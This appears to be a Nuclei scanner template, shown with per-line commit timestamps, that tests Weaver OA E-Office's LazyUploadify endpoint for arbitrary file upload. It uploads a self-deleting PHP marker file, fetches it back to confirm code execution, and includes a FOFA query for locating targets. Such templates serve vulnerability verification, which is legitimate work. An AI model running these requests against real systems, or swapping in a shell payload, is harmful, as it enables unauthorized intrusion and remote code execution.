2023-09-13 11:22:00 +00:00
|
|
|
id: weaver-lazyuploadify-file-upload
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
info:
|
2023-09-13 11:22:00 +00:00
|
|
|
name: OA E-Office LazyUploadify - Arbitrary File Upload
|
2023-08-18 03:22:06 +00:00
|
|
|
author: SleepingBag945
|
|
|
|
severity: critical
|
2024-01-02 15:45:12 +00:00
|
|
|
description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
|
2023-08-18 03:22:06 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
|
2023-09-13 11:22:00 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 3
|
|
|
|
fofa-query: app="泛微-EOffice"
|
2023-09-17 16:11:07 +00:00
|
|
|
tags: weaver,e-office,intrusive,rce,file-upload
|
2023-09-13 11:22:00 +00:00
|
|
|
variables:
|
|
|
|
filename: "{{to_lower(rand_base(5))}}"
|
2024-04-15 11:26:37 +00:00
|
|
|
string: "weaver-lazyuploadify-file-upload"
|
2023-08-18 03:22:06 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
|
|
|
|
Accept: */*
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
|
|
|
|
Accept-Encoding: gzip
|
|
|
|
|
|
|
|
------WebKitFormBoundaryjetvpuye
|
2023-09-13 11:22:00 +00:00
|
|
|
Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
|
2023-08-18 03:22:06 +00:00
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
2024-04-15 11:26:37 +00:00
|
|
|
<?php echo md5("{{string}}");unlink(__FILE__);?>
|
2023-08-18 03:22:06 +00:00
|
|
|
------WebKitFormBoundaryjetvpuye--
|
|
|
|
- |
|
|
|
|
GET /attachment/{{attachmentID}}/{{attachmentName}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: attachmentID
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- "attachmentID\":(.*?),"
|
2023-09-13 11:22:00 +00:00
|
|
|
|
2023-08-18 03:22:06 +00:00
|
|
|
- type: regex
|
|
|
|
name: attachmentName
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- "attachmentName\":\"(.*?)\","
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
2023-09-17 16:11:07 +00:00
|
|
|
dsl:
|
2023-09-13 11:22:00 +00:00
|
|
|
- "contains(body_2, 'attachmentID') && contains(body_2, 'attachmentName')"
|
2023-08-18 03:22:06 +00:00
|
|
|
condition: and
|
2024-04-15 11:26:37 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: body_3
|
|
|
|
words:
|
|
|
|
- '{{md5(string)}}'
|
2024-04-23 10:06:08 +00:00
|
|
|
# digest: 4b0a00483046022100999368c1dee07ce22034f050ef16b88a953b896d1bd9b7fab67855790083e362022100ba0c420cc3d1be703b26c34f2f711cc8d87a27a916da2b5cb5e22e2adbff099f:922c64590222798bb761d5b6d8e72950
|